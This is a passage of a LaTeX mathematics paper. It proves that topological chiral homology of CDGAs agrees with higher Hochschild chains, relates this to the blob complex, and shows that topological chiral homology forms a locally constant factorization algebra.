\begin{equation}\label{eq:TCHunion} \colim_{k\in \N} \int_{X_k} A\cong \colim_{k\in \N} \big(\colim_{} \psi_{X_k}\big) \to \colim_{} \psi_N\cong \int_N A\end{equation} (using the notation introduced in Definition~\ref{Def:TCHasColimit}). Note that $\colim_{k\in \N} \big(\colim_{} \psi_{X_k}\big)$ can be identified with the colimit $\colim \tilde{\psi}_N$ given informally by the diagram $$\tilde{\psi}_N (V_1^k\cup \cdots\cup V_j^k)=\int_{V_1^k}A \otimes \cdots \otimes \int_{V_j^k} A $$ where the $V_i^k$ are disjoint open subsets of $X_k$ homeorphic to a ball (here $k$ is not fixed).
Since $A$ is a fixed $E_n$-algebra, it is in particular an $\mathbb{E}(X)$-algebra (in the sense of~\cite[Section 5.2.4]{L-VI}) for any $n$-framed manifold $X$. In particular, by~\cite[Theorem 5.2.4.9]{L-VI} (also see Proposition~\cite[Proposition 5.3.2.13]{L-VI}), if $U\subset V$ are two open subsets of $X$ which are homeomorphic to a ball, then the induced map $\int_U A \to \int_V A $ is an equivalence.
Now, let $V$ be an open subset of $N$ which is homeomorphic to a ball. Since $N=\colim_{k\in \N} X_k$, there exists a $k$ such that $V\cap X_k$ is a non-empty open subset of $X_k$, and thus contains an open ball $V^k$ in $X_k$ which is lying in $V$ too. In particular the natural map $\int_{V^k} A\to \int_{V} A$ is an equivalence. It follows that, given a finite set $V_1,\dots,V_n$ of open homeomorphic to a ball in $N$, we can find an integer $k$ big enough and open sets $V^k_1\subset V_1$, ...., $V^k_n\subset V_n$ in $X_k$ which are homeomorphic to a ball, yielding a natural equivalence $$\tilde{\psi}_N (V_1^k,\dots, V_n^k)=\int_{V_1^k}A \otimes \cdots \otimes \int_{V_n^k} A \cong \int_{V_1}A \otimes \cdots \otimes \int_{V_n} A=\psi_N (V_1,\dots, V_n).$$
This proves the cofinality of the functor $N(\widetilde{\mathop{\rm Disj}}(N))\hookrightarrow N(\mathop{\rm Disj}(N)) $ induced by the natural inclusion. Here we have denoted $\widetilde{\mathop{\rm Disj}}(N)$ the partially ordered set of open subsets of $N$ which are homeomorphic to $F\times R^n$ for a finite set $F$ and included in some $X_k$ (where $k$ is not fixed). Passing to colimits, we get that the map $\colim_{k\in \N} \big(\colim_{} \psi_{X_k}\big)\cong \colim \tilde{\psi}_N \to \colim \psi_N$ is an equivalence and thus the canonical map~\eqref{eq:TCHunion} is an equivalence as well.
\end{proof}
\smallskip
\begin{proof}[Proof of Theorem~\ref{T:TCH=CH}]
Let us sketch the key idea of the proof first: by the value on a point axiom, both topological chiral homology and higher Hochschild chains agree on a point and further on any disk $D^k$ (up to neglect of structure). Using handle decompositions, one can chop manifolds on disks which are glued along their boundaries. Since both topological chiral homology and higher Hochschild chains satisfy a similar gluing axiom (and also behave the same way under disjoint unions), one then can lift the natural equivalence for disks to any manifold using handle decompositions. We now make the above scheme precise.
\smallskip
Assume $M$ is compact.
Let us choose a generic Morse function on $M$ and the associated handle decomposition $\emptyset \subset M_0 \subset \cdots \subset M_m =M$ of $M$. Then $\emptyset \subset M_0\times D^k \subset \cdots \subset M_m\times D^k =M \times D^k $ is a handle decomposition of $M� \times D^k$. That is $(M\times D^k)_j=M_j\times D^k$ where we replace each $j$-handle $H^j=D^j\times D^{m-j}$ attached to $M_{j-1}$ by the $j$-handle $D^j\times D^{m+k-j}\cong D^j\times \big(D^{m-j}\times D^{k}\big)$ attached to $M_{j-1} \times D^{k}= (M\times D^k)_{j-1}$. The $(m+k)$-framing of $M$ induces an $(m+k)$-framing of each $M_j\times D^k =(M\times D^k)_j$.
\smallskip
By homotopy invariance of Hochschild chains, one has an equivalence of CDGAs $CH_{M\times D^d}(A)\cong CH_{M}(A)$ (for any integer $d$). Further, from diagram~\eqref{E:EnCom} we deduce that, for any CDGA $B$, one has $j_{k}^*(B)\cong \iota_{d}^*(j_{k+d}^*(B))$ where $\iota_d: E_k\hookrightarrow E_{k+d}$ is the natural map.
Since, for any $E_{m+k}$-algebra $B$, one has $\int_{D^m}B \cong B$ viewed as an $E_k$-algebra, the result of Theorem~\ref{T:TCH=CH} holds for all disks.
We now prove by induction that it holds for all ($(m+d)$-framed) spheres $S^m$ and $E_{m+d}$-algebra $A$.
For $S^0=pt\coprod pt$, it follows from Theorem~\ref{T:derivedfunctor} and~\cite[Theorem 5.3.3.1]{L-VI} that $\int_{S^0}A \cong A\otimes A \cong CH_{S^0}(A)$ (as $E_{d}$-algebras). Now, assume the result for $S^{m-1}$ and $m\geq 1$. We have a decomposition of the $m$-sphere $S^m$ as $S^m\cong D^m \cup_{S^{m-1}} D^m$ as in the assumption of Proposition~\ref{P:TCHpushout}. Since this decomposition is also an homotopy pushout, it follows from the induction hypothesis, Proposition~\ref{P:TCHpushout} and Theorem~\ref{T:derivedfunctor}.(3) that there are natural equivalences $$\int_{S^m}A \;\cong \; A\!\mathop{\otimes}\limits^{\mathbb{L}}_{\int_{S^{n-1}}\! A}\! A \;\cong\; CH^\com_{D^m}(A)\!\mathop{\otimes}\limits^{\mathbb{L}}_{CH^\com_{S^{m-1}}(A)} \! CH^\com_{D^m}(A) \;\cong \; CH^\com_{S^m}(A) $$ of $E_d$-algebras which finishes the induction step.
\smallskip
Clearly, $M_0$ is a disjoint union $M_0=\coprod_{I_0} D^m$ of finitely many $m$-dimensional balls (here $I_0$ is the set indexing the various disks in $M_0$). Using again that, for any $E_{m+k}$-algebra $B$, one has $\int_{D^m}B \cong B$ viewed as an $E_k$-algebra, we get a natural equivalence of $E_k$-algebras $\int_{M_0} A \cong \bigotimes_{I_0} j_k^*(A)\cong j_k^*(\bigotimes_{I_0} A)$ since $\int_{M\coprod N} A\cong \int_M A \otimes \int_N A$ by~\cite[Theorem 5.3.3.1]{L-VI}, the set $I_0$ is finite and $j_k$ is monoidal (that is commutes with the diagonals of the $E_k$-operads). Further $CH^\com_{D^m}(A) \cong CH^\com_{pt}(A)\cong A$ and, by Theorem~\ref{T:derivedfunctor}.(1) and (2), there is a natural equivalence $CH^\com_{M_0}(A)\cong \bigotimes_{I_0} A$ of CDGAs. Hence the theorem is proved for $M_0$.
\smallskip
By assumption $M_1$ is obtained by attaching finitely many $1$-handles $H^1_1,\dots, H^1_{i_1}$ (the sequence may be empty) to $M_0$. Choosing appropriate tubular neighborhoods for the image of $\partial{D^1}\times D^{m-1}$ in $M_0$ and gluing it with $\big(\partial{D^1}\times D^{m-1}\big)\times [0,\varepsilon]\cong\big(\partial{D^1}\times [0,\varepsilon]\times D^{m-1}\big)\subset H^1_1$, we can assume that the result $M_0\cup_{\partial D^1 \times D^{m-1}} H_1^1$ of attaching $H^1_1$ to $M_0$ satisfies the assumption of Proposition~\ref{P:TCHpushout}. Then, by Proposition~\ref{P:TCHpushout} we have a natural equivalence of $E_k$-algebras:
\begin{equation}\label{eq:attachhandle}
\int_{M_0} A\mathop{\otimes}\limits_{\int_{\partial D^1 \times D^{m-1}} A}^{\mathbb{L}} \int_{H^1_{1}} A\cong \int_{M_0\cup_{\partial D^1 \times D^{m-1}} H_1^1} A.
\end{equation}
By Theorem~\ref{T:derivedfunctor}.(3), we also have a natural equivalence of CDGAs (and thus of the underlying $E_{k}$-algebras)
\begin{equation}\label{eq:attachhandleCH}
CH^\com_{M_0} (A)\mathop{\otimes}\limits_{CH^\com_{\partial D^1 \times D^{m-1}}(A)}^{\mathbb{L}} CH^\com_{H^1_{1}} (A)\cong CH^\com_{M_0\cup_{\partial D^1 \times D^{m-1}} H_1^1} (A).
\end{equation}
We have already seen that we have natural equivalences $CH^\com_{M_0}(A) \cong \int_{M_0}(A)$ of $E_k$-algebras and similarly for $\partial D^1 \times D^{m-1}$ and $D^1\times D^{m-1}$ in place of $M_0$ (since those manifolds are disks). Combining these equivalences with those given by the identities~\eqref{eq:attachhandle} and~\eqref{eq:attachhandleCH}, we get a natural equivalence
$$\int_{M_0\cup_{\partial D^1 \times D^{m-1}} H_1^1} A \cong CH^\com_{M_0\cup_{\partial D^1 \times D^{m-1}} H_1^1} (A).$$ Attaching more $1$-handles, we inductively get a natural equivalence $\int_{M_1} A \cong CH^\com_{M_1}(A)$ of $E_k$-algebras.
\smallskip
We proceed the same for attaching $j\geq 2$-handles (by induction on $j$). The proof is identical to the $1$-handles case once we notice that there are also a natural equivalence $\int_{\partial{ D^j}\times D^{m-j}} A \cong CH^\com_{\partial{ D^j}\times D^{m-j}}(A)$. The later follows
from the natural equivalences relating topological chiral homology and higher Hochschild chains of spheres (with value in $A$) proved above. Indeed, $\partial{ D^j}\times D^{m-j} \cong S^{j-1}\times D^{m-j}$ and there is a natural equivalence $\int_{S^{j-1}\times D^{m-j}} A\cong i_{m-j}^*\big( \int_{S^{j-1}} A \big)$ where $i_{m-j}: E_{k+1}\hookrightarrow E_{m+k-j+1}$ is the canonical map (neglecting part of the structure). Similarly, there are natural equivalences $CH^\com_{S^{j-1}}(A) \cong CH^\com_{S^{j-1} \times D^{m-j}}(A)$ of CDGAs. It follows, since $j_{k+m -j+1}^*\big(CH^\com_{S^{j-1}} (A)\big) \cong \int_{S^{j-1}} A$, that we get a natural equivalence $$j_{k+1}^*(CH^\com_{S^{j-1}\times D^{m-j}} \big( (A)\big)\cong i_{m-j}^*\, j_{k+m-j+1}^*\big( CH^\com_{S^{j-1}\times D^{m-j}}(A)\big) \cong \int_{S^{j-1}\times D^{m-j}} A$$
which finishes the proof in the compact case.
\smallskip
If $M$ is non-compact, we still have a handle decomposition, but we may have to attach countable many handles to go from $M_i$ to $M_{i+1}$. In particular, we can find an increasing sequence of relatively compact open subsets $M_i=X_0\subset X_1\subset\cdots X_n\subset \cdots \subset \bigcup_{n\geq 0} X_n =M_{i+1}$ (for instance by choosing $\overline{X_n}$ to be the result of attaching the first $n$ $i$-handles to $M_i$). We wish to prove the result by induction on $i$. Note first that,
by definition of the Hochschild chain functor and Lemma~\ref{L:TCHcoproduct}, there is an equivalence (for the underlying $E_k$-algebras structures) $$CH^\com_{M_0}(A)\cong \colim_{\small \begin{array}{l}F_0 \subset I_0\\
F_0 \mbox{ finite} \end{array}
} \left(\bigotimes_{f\in F_0} CH^\com_{D^m}(A)\right) \cong \colim_{\small \begin{array}{l}F_0 \subset I_0\\
F_0 \mbox{ finite} \end{array}} \left(\bigotimes_{f\in F_0} \int_{D^m}(A)\right) \cong \int_{M_0} A$$
which proves the result for $M_0$. Now, assume we have an natural equivalence $CH^\com_{M_i}(A)\cong \int_{M_i} A$. Writing $M_i=X_0\subset X_1\subset\cdots X_n\subset \cdots \subset \bigcup_{n\geq 0} X_n =M_{i+1}$, by the above argument for the finite handles case, we have natural equivalences
$CH^\com_{X_n}(A) \cong \int_{X_n} A$ for all $n$ and thus a commutative diagram
\begin{equation}
\xymatrix{\colim_{n\in \N} CH^\com_{X_n}(A) \ar[r]^{\simeq} \ar[d] & \colim_{n\in \N} \int_{X_n} A \ar[d] \\ CH^\com_{M_{i+1}}(A) \ar[r] & \int_{M_{i+1}} A}.
\end{equation}
By Lemmas~\ref{L:TCHhandling} and Lemma~\ref{L:CHhandling}, the vertical arrows are equivalences,hence the lower map is too, which finishes the induction.
\end{proof}
\begin{remark} A geometric intuition behind Theorem~\ref{T:TCH=CH} can be seen as follows. Let $M$ be a dimension $m$ manifold. Since a CDGA $A$ is an $E_{n}$-algebra for any $n$, the topological chiral homology $\int_M A$ is defined for any $n$-framing of $M$, and is an $E_{n-m}$-algebra.
Further, if $M$ is $n$-framed (hence we have chosen a trivialization of $M\times D^{n-m}$), then $M$ is also naturally $(n+k)$-framed for any integer $k$. Since $A$ is a CDGA, it is an $E_{n+k}$-algebra as well and thus we could have used the trivialization of $M\times D^{n-m} \times D^k\cong M\times D^{n+k-m}$ as well to define $\int_M A$ as an $E_{n-m+k}$-algebra.
\smallskip
It is well known that the transversality theorem implies that two embeddings $\phi_1: M \to S^n$ and $\phi_2: M\to S^n$ of $M$ are isotopic if $n$ is large enough. In particular, for large $n$ the framing that comes from the embedding into $S^n$ is unique. This unique invariant of $M$ is called the stable normal bundle. Note that this implies that any two abstract framings of $M\times D^k$ and $M \times D^l$ are stably equivalent since, for example, for $M\times D^k$ we can make $M$ sit inside $\mathbb R^n$ and then the normal bundle of $M$ in $\mathbb R^n$ is the complement of the framing of the tangent bundle of $M\times D^k$ in $\mathbb{R}^n \times D^k$.
\end{remark}
Building upon the last remark, we see that the topological chiral homology of an $(m+k)$-framed manifold $M$ with value in a CDGA should be equivalent (up to neglect of structure) to the topological chiral homology of $M$ equipped with the stable normal framing so that we get
\begin{corollary} Topological chiral homology with values in CDGAs is independent of the framing. In other words, if $M_{1}$ and $M_{2}$ are diffeomorphic manifolds equipped respectively with an $(n+k_1)$-framing and $(n+k_2)$-framing, then there is a canonical equivalence $\int_{M_1} A \cong \int_{M_2} A$ of $E_{\min(k_1,k_2)}$-algebras.
\end{corollary}
{In particular, $\int_M A$ is naturally defined for every manifold $M$ when $A$ is a CDGA.}
\begin{proof}
By Theorem~\ref{T:TCH=CH}, there are natural equivalences $\int_{M_1} A \cong CH_{M_1}^{\com}(A)$ of $E_{k_1}$-algebras and $\int_{M_2} A \cong CH_{M_2}^\com (A)$ of $E_{k_2}$-algebras. Since $M_1$ and $M_2$ are diffeomorphic, we have an equivalence $CH_{M_1}^\com (A)\cong CH_{M_2}^\com (A)$ as CDGAs.
\end{proof}
\subsection{Relation with the Blob complex}\label{S:blob}
It is asserted in \cite[Example 6.2.10]{MW} that the \textbf{Blob complex} of Morrison-Walker is equivalent to \emph{an unoriented variant of} topological chiral homology. We briefly explain here how to deduce this equivalence from the proof of Theorem~\ref{T:TCH=CH} and several statements from~\cite{MW}. The main difference with \S~\ref{S:ReviewTCH} and \S~\ref{S:locality} to keep in mind is that we no longer assume our manifold to be \emph{framed}. Indeed, we are using the variant of topological chiral homology for (non-necessarily framed nor oriented) manifolds of dimension $n$. However this forces us to restrict our attention to \emph{unoriented $E_n$-algebras}:
\begin{definition}\label{D:unorientedEn}
The category of \emph{unoriented $E_n$-algebras}, denoted
$\mathbb{E}_n^{O(n)}\textit{-}Alg_\infty$
is defined as the ($(\infty,1)$-)category of symmetric monoidal functors
$$
\mathbb{E}_n^{O(n)}\textit{-}Alg_\infty := \text{\emph{Fun}}^\otimes(\text{\emph{Disk}}_n,\,\hkmod)
$$
where $\text{\emph{Disk}}_n$ is the category with objects the integers and morphism the spaces $\text{\emph{Disk}}_n(k,\ell):= \text{\emph{Emb}}(\coprod_{k} \R^n, \coprod_{\ell} \R^n)$ of smooth embeddings of $k$ disjoint copies of a disk $\R^n$ into $\ell$ such copies; the monoidal structure is induced by disjoint union of copies of disks.
\end{definition}
Note that $\mathbb{E}_n^{O(n)}$-algebras are denoted $\mathcal{EB}_n$-algebras in~\cite{MW}.
\begin{remark} The definition above is extracted from~\cite{L-VI,Francis}.
There is an natural action of the orthogonal group $O(n)$ on $E_n\textit{-}Alg_\infty$, see~\cite{L-TFT}; the category $(E_n\textit{-}Alg_\infty)^{hO(n)}$ of $O(n)$-homotopy fixed points is equivalent to the $(\infty,1)$-category $\mathbb{E}_n^{O(n)}\textit{-}Alg_\infty$ of Definition~\ref{D:unorientedEn}
In particular, \emph{any CDGA is an unoriented $E_n$-algebra}.
\smallskip
If one replaces the action of $O(n)$ by $SO(n)$,one recovers the notion of \emph{oriented} $E_n$-algebras which are commonly known as \emph{framed $E_n$-algebras} in the literature.
\end{remark}
Let $M$ be a dimension $n$ manifold. By~\cite[Example 6.2.10]{MW}, an $\mathbb{E}_n^{O(n)}$-algebra $A$ defines an $A_\infty$-$n$-category\footnote{this is, for $n=1$, an instance of the linear category with a single object associated to an associative algebra and, for general $n$, a slight variant of the construction of an $(\infty, n)$-category $\mathcal{B}^n(A)$ associated to an $E_n$-algebra $A$ as in~\cite{Francis}} $\mathcal{C}^A$ and thus yields the \textbf{Blob complex} $\mathcal{B}_*(M,\mathcal{C}^A)$, see~\cite[Definition 7.0.1]{MW}.
Similarly we can form the topological chiral homology $\int_M A$, see~\cite[Definition 3.15]{Francis} (or~\cite{L-VI,L-TFT}).
\begin{proposition}\label{P:blob} Let $M$ be a closed $n$-dimensional manifold (non necessarily framed nor oriented) and $A$ an $\mathbb{E}_n^{O(n)}$-algebra.
There is an natural equivalence $$\int_{M} A\; \cong\; \mathcal{B}_*(M,\mathcal{C}^A)$$ in $\hkmod$. Further, if $A$ is a CDGA, there is an natural equivalence $CH_M^\com(A) \cong \int_{M} A$ in $\hkmod$.
\end{proposition}
\begin{proof}
According to~\cite[Theorem 7.2.1]{MW}, the Blob complex $\mathcal{B}_*(M,\mathcal{C}^A)$ satisfies the excision property for closed manifolds and can be computed using a colimit construction (\cite[\S~6.3]{MW}) similar to Definition~\ref{Def:TCHasColimit}. It also converts disjoint union of manifolds to tensor products~\cite[Property 1.3.2]{MW} and $\mathcal{B}_*(D^n,\mathcal{C}^A)\cong A$ by~\cite[Property 1.3.4]{MW} (and~\cite[Example 6.2.10]{MW}). The same properties hold for topological chiral homology as in Proposition~\ref{P:TCHpushout} (or Lemma~\ref{L:TCHpushout2}), the proofs and references to \cite{Francis,L-VI,L-TFT} in the unoriented case being essentially the same as in the framed one (using $O(n)$-homotopy fixed $E_n$-algebras). It follows that one can apply \emph{mutatis mutandis} the proof of Theorem~\ref{T:TCH=CH} to get the equivalences stated in the proposition.
\end{proof}
\begin{remark} Let $A=C_\com(\Omega^{n} Y)$ be the $E_n$-algebra associated to the $n$-fold loop space of an $n$-connective pointed space $Y$. The Blob complex $\mathcal{B}_*(M,\mathcal{C}^{C_\com(\Omega^{n} Y)})$ for non-necessarily closed manifolds shall not be mistaken with the Blob complex associated to the $A_\infty$-$n$-category associated to the fundamental groupoid of the space $Y$ in~\cite[\S~6]{MW} (though the construction share some similarities). Indeed, it is claimed~\cite[Theorem 7.3.1]{MW} that the latter construction compute the chains on the space of all maps $\textrm{Map}(M,Y)$, while the first one, by non-abelian Poincar\'e duality~\cite{L-VI}, $\int_{M} \Omega^{n} Y$ is the chains on the space of maps with compact support $\textrm{Map}_{c}(M,Y)$.
\end{remark}
\smallskip
Theorem~\ref{T:HF=TCH} below and Proposition~\ref{P:blob} suggest that the blob complex should be closely related to Factorization algebras as well. It would be interesting to relate system of fields, n-category and the blob complex in the sense of~\cite{MW} to factorization algebras (with extra properties) in the sense of~\cite{CG}. We plan to investigate these relationship in a future work.
\subsection{Topological chiral homology as a factorization algebra}\label{S:TCH=Fact}
In this section we give a precise relationship between factorization algebras, topological chiral homology for (stably) framed manifolds, and $E_n$-algebras.
\subsubsection{Topological chiral homology and factorization algebras for $n$-framed manifolds}
For any manifold $M$ of dimension $m$ which is $n$-framed (\emph{i.e.} $M\times D^{n-m}$ is framed) and $E_n$-algebra $A$, we can consider the topological chiral homology $\int_M A$ as well as $\int_U A$ for every open subset $U$ in $M$ (equipped with the induced framing). Further, if $U_1,\dots, U_k$ are pairwise disjoint open subsets of $V\in Op(M)$, there is a canonical equivalence (\cite[Theorem 3.5.1]{L-VI}) $$\int_{U_1} A \otimes \cdots \otimes \int_{U_k} A \;\stackrel{\simeq}{\longrightarrow}\int_{U_1\cup \cdots \cup U_k} A \; $$ and a natural map $\int_{U_1\cup \cdots \cup U_k} A\to \int_V A$ (since any ball in $\bigcup U_i$ is a ball in $V$). Composing these two maps yield natural maps of $E_{m-n}$-algebras
\begin{equation}\label{eq:muTCHisFact}\mu_{U_1,\dots, U_k, V}: \int_{U_1} A \otimes \cdots \otimes \int_{U_k} A \; \longrightarrow \int_V A.\end{equation}
\begin{proposition}\label{P:TCHisFact} Let $M$ be an $n$-framed manifold of dimension $m$.
\begin{enumerate}
\item For any $E_n$-algebra $A$, the rule $U\mapsto \int_U A$ (for $U$ open in $M$) together with the structure maps $\mu_{U_1,\dots, U_k,V}$~\eqref{eq:muTCHisFact} define a \emph{locally constant} factorization algebra $\mathcal{TC}_M(-,A)$ on $M$, such that $\mathcal{TC}_M(U,A)=\int_U A$ is canonically an $E_{n-m}$-algebra for any open $U$.
\item The rule $A\mapsto \mathcal{TC}_M(-,A)$ defines a functor
$\mathcal{TC}_M:{E_n}\textit{-}Alg_\infty\to \mathop{Fac}_M({E_{n-m}}\textit{-}Alg_\infty)$ which fits into the following commutative diagram
$$\xymatrix{{E_n}\textit{-}Alg_\infty \ar[rr]^{\int_M} \ar[d]_{\mathcal{TC}_M} & &{E_{n-m}}\textit{-}Alg_\infty \\
\mathop{Fac}_M({E_{n-m}}\textit{-}Alg_\infty) \ar[rru]_{HF(-)} && } $$
\end{enumerate}
\end{proposition}
In other words topological chiral homology computes the factorization homology of $\mathcal{TC}_M$.
\smallskip
The idea behind Proposition~\ref{P:TCHisFact} is that for any submanifold $U$ of $M$ and $E_n$-algebra $A$, we can cover $U$ by a (coherent family of) open balls on which $A$ defines a locally constant factorization algebra. Gluing these data defines a factorization algebra on $U$ whose homology can be computed from the balls by using the gluing/locality lemma given above (Lemma~\ref{L:Enmodule}). Since the topological chiral homology is equivalent to $A$ on balls and satisfy a similar locality axiom, they agree on $U$.
\begin{proof}[Proof of Proposition \ref{P:TCHisFact}]
For any open subset $V$ of $M$, the topological chiral homology $\int_V A$ is the colimit $\colim_{} \psi_V$, where $\psi_V:N(\emph{\emph{\text{Disj}}}(V))\to \hkmod$ is the diagram given by the formula $\psi_V(V_1\cup\cdots\cup V_n)=\int_{V_1}A \otimes \cdots \otimes \int_{V_n} A$ where $V_1,\dots, V_n$ are disjoint open sets homeomorphic to a ball (Definition~\ref{Def:TCHasColimit}). In particular, the structure maps $\mu_{U_1,\dots,U_n,V}$ are induced by a map of colimits and it is easy to check that they are natural with respect to open embeddings and thus defines a prefactorization algebra. Hence $\mathcal{TC}_M(-,A)$ is functorially (in $A$) a \emph{prefactorization} algebra on $M$ with value in $E_{n-m}$-algebras.
\smallskip
To prove that $\mathcal{TC}_M(-,A)$ is actually a \emph{factorization} algebra, the idea is first to use a handle body decomposition to define another locally constant factorization algebra $\mathcal{F}_M$ on $M$ whose factorization homology $HF(\mathcal{F},M)$ is equivalent to $\int_M A$ and then to prove that this factorization algebra is indeed equivalent to $\mathcal{TC}_M$. Note that by Lemma~\ref{L:EnFact}, if $\mathcal{F}_M$ is a locally constant factorization algebra on $M$ with value in $E_d$-algebras such that $\int_M A \cong HF(\mathcal{F}_M,M)$, then we have a natural factorization algebra $\mathcal{F}_{M\times \R^d}$ on $M\times \R^d$ and further $HF(\mathcal{F}_{M\times \R^d},M\times \R^d)\cong \int_M A$ as an $E_d$-algebra.
\smallskip
We start with the case of open balls.
By definition of topological chiral homology, for every manifold $B$ homeomorphic to an $m$-dimensional ball, there is a natural equivalence $\int_B A \cong A$ of $E_{n-m}$-algebras (where the $E_{n-m}$-algebra structure of $A$ is by restriction of structure), see~\cite{L-VI,L-TFT}. By a result of Lurie~\cite{L-VI} (also see \cite[Proposition 3.4.1]{Co} or Proposition~\ref{P:Fac=En}), there is a locally constant factorization algebra $\mathcal{F}_B$ on $B$ whose factorization homology is isomorphic to $A$.
We now prove that the factorization algebra $\mathcal{F}_B$ is equivalent to $\mathcal{TC}_B$, \emph{i.e.}, that there are equivalences of prefactorization algebras $ \mathcal{F}_B(U) \cong \int_U A$ (for any open subset $U\subset B$). Note that $\mathcal{F}_{B}(U)\cong {\mathcal{F}_B}_{|U}(U)\cong HF({\mathcal{F}_B}_{|U}, U)$. To shorten notation, we denote $\mathcal{F}_U$ the factorization algebra ${\mathcal{F}_B}_{|U}$ induced on $U$ by restriction of $\mathcal{F}_B$ to $U$.
One has $A^{\otimes n} \cong \int_{U_1} A \otimes \cdots \int_{U_l} A \cong \int_{U_1\cup \cdots \cup U_l} A$ for any pairwise disjoint open subsets $U_1,\dots,U_n$ of $B$ homeomorphic to a ball (\cite{L-VI}) and $$\mathcal{F}_B\Big(\coprod_{i=1}^l B_i\Big)\;\cong \;\bigotimes_{i=1}^l \mathcal{F}_{B}(B_i)\;\cong \;\bigotimes_{i=1}^l A$$ for any open balls $B_i\subset B$ (since $\mathcal{F}_B$ is locally constant). Hence $\mathcal{F}_B(U)\cong \int_U A$ when $U$ is a disjoint union of balls.
In particular, this equivalence holds for any (framed) embedding of $S^0\times D^m$ in $B$. We now prove, by induction on $i$, that $$\mathcal{F}_B(S^{i}\times D^{m-i})\;\cong\; HF({\mathcal{F}_{S^i\times D^{m-i}}}, S^i\times D^{m-i})\;\cong\; \int_{S^i\times D^{m-i}} A$$ for any embedding of $S^{i}\times D^{m-i}$ in $B$ (where $i\geq 1$). We have a decomposition of the sphere $S^i\times D^{m-i}$ as $S^i\times D^{m-i}\cong D^+ \cup_{S^{i-1}\times D^{i-m}\times D^1} D^-$ where $D^+$ and $D^-$ are homeomorphic to framed open subballs of $B$. By above, the factorization homology of $\mathcal{F}_{D^+}$ and $\mathcal{F}_{D^-}$ are equivalent to $A$ and the factorization homology of $\mathcal{F}_{S^{i-1}\times D^{i-m}\times D^1}$ is equivalent to $\int_{S^{i-1}\times D^{i-m}} A$ as an $E_{1}$-algebra by the induction hypothesis. Now the equivalence $HF({\mathcal{F}_{S^i\times D^{m-i}}}, S^i\times D^{m-i})\cong \int_{S^i\times D^{m-i}} A$ follows from Lemma~\ref{L:Enmodule} and Proposition~\ref{P:TCHpushout}. This completes the inductive step. For general open submanifold $U$ of $B$, we use a handle decomposition as in the proof of Theorem~\ref{T:TCH=CH} (using Lemma~\ref{L:Enmodule} instead of Theorem~\ref{T:derivedfunctor} and arguments similar to what has just been explained above for spheres) to obtain, in a similar way, that $$\int_U A \;\cong\; HF\big(\mathcal{F}_U,U\big)\; \cong \; \mathcal{F}(U).$$
This proves that $\mathcal{TC}_B\cong \mathcal{F}_B$ and thus that $\mathcal{TC}_B$ is a factorization algebra.
\medskip
If $M=\coprod_{i=1}^l B_i$ is a disjoint union of balls of dimension $m$, then we also deduce that $\mathcal{TC}_{M}$ is a factorization algebra since
$\int_{U_1} A \otimes \cdots \otimes \int_{U_l} A \cong \int_{U_1\coprod \dots \coprod U_l} A$ for any open subsets $U_i\subset B_i$.
In particular, this applies to the case of $S^0\times D^d$ ($d\geq 0$). Now let $M\cong S^m\times D^d $ ($d\geq 0$, $m\geq 1$) be framed (we do not assume it is embedded as an open set of an euclidean space). We work by induction on $m$ so that we may assume the result of the proposition is known for $S^{m-1}\times D^l$.
Assume we have a cover $U\cup V$ of a space $X$ and factorization algebras $\mathcal{B}_U$, $\mathcal{B}_V$, $\mathcal{B}_{U\cap V}$ on $U$, $V$ and $U\cap V$ with equivalences $\mathcal{B}_{U\cap V} \stackrel{\simeq}\longrightarrow {\mathcal{B}_U}_{|U\cap V}$ and $\mathcal{B}_{U\cap V} \stackrel{\simeq}\longrightarrow {\mathcal{B}_V}_{|U\cap V}$. Then we can glue these factorization algebras to define a factorization algebra on $X$, see~\cite{CG} (note that this descent property can be generalized to arbitrary covers).
We wish to apply this to a decomposition of the $m$-sphere $S^m$ as $S^m\cong D^+ \cup_{S^{m-1}\times D^1} D^-$ where $D^+$ and $D^m$ are homeomorphic to framed open balls. By the above analysis, there are locally constant factorization algebras $\mathcal{F}_+$, $\mathcal{F}_{-}$ on $D^+\times D^d$ and $D^-\times D^d$ which are equivalent to $\mathcal{TC}_{D^{m+d}}(A)$. Restricting these equivalences to $S^{m-1}\times D^1 \times D^{d}$, we get an equivalence $${\mathcal{F}_{+}}_{|S^{m-1}\times D^1 \times D^{d}} \stackrel{\simeq}\longrightarrow {\mathcal{F}_{-}}_{|S^{m-1}\times D^1 \times D^{d}}.$$ Since $S^{m-1}\times D^1 \times D^d$ is the intersection of $D^+\times D^d$ with $D^{-}\times D^d$, we thus get a locally constant factorization algebra $\mathcal{F}$ on their union $S^m\times D^d$.
It follows from Lemma~\ref{L:Enmodule} and Proposition~\ref{P:TCHpushout}, that $\mathcal{F}(S^m\times D^d)\cong \int_{S^m\times D^d} A$ as an $E_d$-algebra. The equivalences $\mathcal{F}(U)\cong \int_U A$ follows for any open proper subset of $S^m\times D^d$ by the above case for open balls (or by mimicking the proof). It follows that $\mathcal{TC}_{S^m\times D^d} \cong \mathcal{F}$ and thus is a factorization algebra.
\smallskip
The case of general $n$-framed manifolds $M$ is done similarly. Using a handle decomposition, induction and the descent property of factorization algebras we build a locally constant factorization algebra $\mathcal{F}_M$ on $M$ and then prove, by using handle decomposition of any open subset $U$ of $M$, that $\mathcal{F}_M(U) \cong \int_U M$; the argument is similar to the case of spheres (as in the proof of Theorem~\ref{T:TCH=CH}).
\medskip
The factorization algebra $\mathcal{TC}_M(-,A)$ is locally constant by construction (since $\int_B A \cong A$ for any ball $B$) and its factorization homology is precisely the topological chiral homology of $M$ with value in $A$. Further $\mathcal{TC}_M(-,A)$ is functorial in $A$ since topological chiral homology is.
\end{proof}
\begin{remark} \label{R:TCH=HF=CH}
Theorem~\ref{T:TCH=CH} follows easily from Proposition~\ref{P:TCHisFact} and Corollary~\ref{C:HFact=CH}.
\end{remark}
\subsubsection{Topological chiral homology and factorization algebras for $\mathbb{E}_n[M]$-algebras}\label{SEC:En[M]-alg}
We now go beyond the notion of $n$-framed manifolds $M$, and, more generally, consider locally constant algebras over an operad $\mathbb{E}_n[M]$, for which there might not exist a globally defined $E_n$-algebra.
\smallskip
